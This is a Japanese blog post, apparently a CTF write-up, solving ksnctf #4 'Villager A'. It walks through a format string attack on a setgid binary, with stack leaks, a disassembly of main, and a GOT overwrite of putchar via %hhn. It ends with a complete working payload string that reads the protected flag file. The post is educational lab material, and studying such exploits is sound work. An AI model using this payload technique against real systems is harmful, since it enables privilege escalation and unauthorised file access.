kaage精進録

雑な解説とかライブラリとかおきもちの垂れ流しです。

ksnctf #4 Villager A writeup

なんでこんな記事を書いているか

CTF やろうと思って適当な記事を読んだら意味不明だったので…

Villager A

問題リンク

CTF です.

解法

まずはサーバーにアクセスしてみると,flag.txt と q4 というふたつのファイルが見つかる.

cat flag.txt を試みると,パーミッションで蹴られる.

q4 のパーミッションを確認すると,q4a グループの権限で実行できて,これで flag.txt が読み取り可能なことがわかる.(わからなかったらググってください.)

q4 を実行してみると,こんな感じになる.

[q4@eceec62b961b ~]$ ./q4
What's your name?
kaage
Hi, kaage

Do you want the flag?
Yes
Do you want the flag?
yes
Do you want the flag?
No
Do you want the flag?
no
I see. Good bye.
[q4@eceec62b961b ~]$

まず名前を聞かれて,no と答えるまでループされる.

ここで,入力した名前を復唱しているので,書式文字列攻撃を試す.

[q4@eceec62b961b ~]$ ./q4
What's your name?
AAAA %x %x %x %x %x %x %x %x
Hi, AAAA 400 f7d31580 ffca8f28 6 0 41414141 20782520 25207825

Do you want the flag?
no
I see. Good bye.
[q4@eceec62b961b ~]$ 

うまくいった.これで,入力した AAAA という値は,6番目のアドレスに格納されることもわかる.

次に,ディスアセンブルしてみる.(main だけ抜粋)

080485b4 <main>:
 80485b4:   55                      push   %ebp
 80485b5:   89 e5                   mov    %esp,%ebp
 80485b7:   83 e4 f0                and    $0xfffffff0,%esp
 80485ba:   81 ec 20 04 00 00       sub    $0x420,%esp
 80485c0:   c7 04 24 a4 87 04 08    movl   $0x80487a4,(%esp)
 80485c7:   e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:   a1 04 9a 04 08          mov    0x8049a04,%eax
 80485d1:   89 44 24 08             mov    %eax,0x8(%esp)
 80485d5:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80485dc:   00 
 80485dd:   8d 44 24 18             lea    0x18(%esp),%eax
 80485e1:   89 04 24                mov    %eax,(%esp)
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:   c7 04 24 b6 87 04 08    movl   $0x80487b6,(%esp)
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:   8d 44 24 18             lea    0x18(%esp),%eax
 80485f9:   89 04 24                mov    %eax,(%esp)
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:   c7 04 24 0a 00 00 00    movl   $0xa,(%esp)
 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:   c7 84 24 18 04 00 00    movl   $0x1,0x418(%esp)
 8048614:   01 00 00 00 
 8048618:   eb 67                   jmp    8048681 <main+0xcd>
 804861a:   c7 04 24 bb 87 04 08    movl   $0x80487bb,(%esp)
 8048621:   e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:   a1 04 9a 04 08          mov    0x8049a04,%eax
 804862b:   89 44 24 08             mov    %eax,0x8(%esp)
 804862f:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 8048636:   00 
 8048637:   8d 44 24 18             lea    0x18(%esp),%eax
 804863b:   89 04 24                mov    %eax,(%esp)
 804863e:   e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:   85 c0                   test   %eax,%eax
 8048645:   0f 94 c0                sete   %al
 8048648:   84 c0                   test   %al,%al
 804864a:   74 0a                   je     8048656 <main+0xa2>
 804864c:   b8 00 00 00 00          mov    $0x0,%eax
 8048651:   e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:   c7 44 24 04 d1 87 04    movl   $0x80487d1,0x4(%esp)
 804865d:   08 
 804865e:   8d 44 24 18             lea    0x18(%esp),%eax
 8048662:   89 04 24                mov    %eax,(%esp)
 8048665:   e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:   85 c0                   test   %eax,%eax
 804866c:   75 13                   jne    8048681 <main+0xcd>
 804866e:   c7 04 24 d5 87 04 08    movl   $0x80487d5,(%esp)
 8048675:   e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:   b8 00 00 00 00          mov    $0x0,%eax
 804867f:   eb 5b                   jmp    80486dc <main+0x128>
 8048681:   8b 84 24 18 04 00 00    mov    0x418(%esp),%eax
 8048688:   85 c0                   test   %eax,%eax
 804868a:   0f 95 c0                setne  %al
 804868d:   84 c0                   test   %al,%al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    movl   $0x80487e6,0x4(%esp)
 8048698:   08 
 8048699:   c7 04 24 e8 87 04 08    movl   $0x80487e8,(%esp)
 80486a0:   e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:   89 84 24 1c 04 00 00    mov    %eax,0x41c(%esp)
 80486ac:   8b 84 24 1c 04 00 00    mov    0x41c(%esp),%eax
 80486b3:   89 44 24 08             mov    %eax,0x8(%esp)
 80486b7:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80486be:   00 
 80486bf:   8d 44 24 18             lea    0x18(%esp),%eax
 80486c3:   89 04 24                mov    %eax,(%esp)
 80486c6:   e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:   8d 44 24 18             lea    0x18(%esp),%eax
 80486cf:   89 04 24                mov    %eax,(%esp)
 80486d2:   e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:   b8 00 00 00 00          mov    $0x0,%eax
 80486dc:   c9                      leave  
 80486dd:   c3                      ret    
 80486de:   90                      nop
 80486df:   90                      nop

80486a0 の fopen で flag.txt を読んで,そのまま出力までもっていきそうだが,これが 804868f の jne 命令で阻まれている.

適当にメモリを書き換えて,このあとの8048691 に飛ばしてあげたい.

main を眺めて,入力のあとに必ず呼ばれそうな処理を見ると,8048608 の putchar がある.putchar を参照すると,

08048474 <putchar@plt>:
 8048474:   ff 25 e0 99 04 08       jmp    *0x80499e0
 804847a:   68 08 00 00 00          push   $0x8
 804847f:   e9 d0 ff ff ff          jmp    8048454 <.plt>

と,80499e0 にジャンプしている.これを書き換えてやれば,うまく動いてくれそう.

ここまでをまとめると,80499e0 番地の値を 8048691 にしてあげたい. 先ほど,入力した書式文字列自体は 6 番目の引数にあたるところから格納され始めることがわかった.つまり,書式文字列のところに文字列を入力すると,入力した文字列が printf の 6 番目の引数になるべきアドレスに入ってくれる.ここに書き込みたい先のアドレスの値を入れて,その時点での出力バイト数を,引数で指定したアドレスに書き込んでくれる %hhn を使う.%hhn の対象となるアドレスは本来引数として与えられるが,入力文字列を格納するところととアドレスが被っているのでこういうことができる.

書式文字列では,引数の番号を %1$hhn のように明示的に指定することもできるので,これを使うと任意のアドレスに値を書き込める.

攻撃の流れをまとめる.

  • 6 番目の引数にあたる場所から先のスタック領域に,書き込み先アドレス(0x80499e0)を入れる.これは普通に入力するだけ.
  • 適当に出力文字数を調整しながら,0x80599e0 から始まる場所に,ジャンプ先のアドレス(0x8048691)を書き込む.

なお,出力文字数は,%[数値]c で数値のぶんだけ出力して調整できる.リトルエンディアンに注意して入力する文字列を作る. まず最初の 16 バイトに書き込みたいアドレスの位置を順に格納する.ここまでで 16 バイト出力したので,ジャンプ先アドレスの最後に 91(10 進数では 145)を入れるために,129 バイト追加で出力する.次には 86(10 進数で 134)を入れたいので,245 バイト出力して,繰り上がりで 134 に合わせる.これを順々に行なっていけばメモリの値が書き換えられる.同じように最後までやってまとめると,

\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn

になる.これを echo -eエンコードして出力してやれば,flag が出力される.なお,echo に渡す際はシングルクォーテーションで囲んであげないとエスケープしてくれず,ダブルクォーテーションだとうまくいかないので注意.

感想

CTF,序盤かなり意味不明なので,これを読んでわかる人が増えてくれたら嬉しい